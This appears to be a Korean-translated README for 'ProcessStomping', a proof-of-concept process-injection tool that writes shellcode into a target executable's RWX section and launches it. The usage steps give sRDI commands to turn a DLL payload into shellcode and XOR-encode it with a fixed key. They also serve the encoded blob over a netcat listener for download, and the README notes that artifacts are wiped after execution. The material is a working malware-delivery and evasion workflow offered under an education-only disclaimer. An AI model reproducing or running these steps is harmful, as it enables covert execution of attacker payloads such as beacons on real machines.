
실행 파일의 섹션에서 shellcode를 실행하기 위한 ProcessOverwriting의 변형
실행 파일의 섹션에 셸코드를 실행하기 위한 ProcessOverwriting의 변형 기법
자세한 설명은 블로그 글에서 확인할 수 있습니다.
Process Stomping은 hasherezade의 Process Overwriting의 변형으로, 전체 PE 페이로드를 호스트 프로세스 주소 공간에 쓰는 대신 대상 섹션에 셸코드 페이로드를 작성하는 장점이 있습니다.
ProcessStomping 기술의 주요 단계는 다음과 같습니다.
기술의 예시 응용으로, PoC는 sRDI와 함께 사용되어 비콘 DLL을 실행 파일의 RWX 섹션에 로드할 수 있습니다. 다음 그림은 관련 단계를 설명합니다.

모든 정보와 내용은 교육 목적으로만 제공됩니다. 지침에 따르는 것은 전적으로 사용자 책임입니다. 저자와 고용주는 어떠한 개인이나 조직이 입는 직접적 또는 결과적 손해나 손실에 대해 책임을 지지 않습니다.
이 작업은 Aleksandra Doniec(@hasherezade)와 Nick Landers가 공유한 지식과 도구 덕분에 가능했습니다.
대상 프로세스를 선택하고 ProcessStomping.cpp에서 전역 변수를 적절히 수정하세요.
sRDI 프로젝트를 컴파일할 때 오프셋이 생성된 sRDI 셸코드 blob을 충분히 뛰어넘을 수 있는지 확인한 후 sRDI 도구를 업데이트하세요:
cd \sRDI-master
python .\lib\Python\EncodeBlobs.py .\
원하는 Reflective-Loaderless DLL 페이로드를 생성한 후 sRDI 셸코드 blob을 생성하세요:
python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll
셸코드 blob은 키워드로 XOR 처리한 후 간단한 소켓을 사용하여 다운로드할 수 있습니다.
python xor.py noRLx86.bin noRLx86_enc.bin Bangarang
연결 시 XOR 처리된 blob을 전달하세요.
nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin
sRDI blob은 실행 후 지워져 불필요한 아티팩트를 제거합니다.
https://github.com/naksyn/ProcessStomping/assets/59816245/8d9e1ac2-b47c-41d5-9f0e-1b3fee14ba50
이 기술을 성공적으로 실행하려면 적절한 대상 프로세스를 선택하고 사용자 정의 Reflective 로더가 없는 DLL 페이로드를 사용해야 합니다.
Process Stomping 기술은 대상 프로세스를 일시 중단 상태로 시작하고, 스레드의 엔트리포인트를 변경한 후, 스레드를 재개하여 주입된 셸코드를 실행해야 합니다. 이러한 작업은 빠르게 연속해서 수행될 경우 의심스러운 것으로 간주될 수 있으며 일부 보안 솔루션에서 더 많은 조사를 받을 수 있습니다.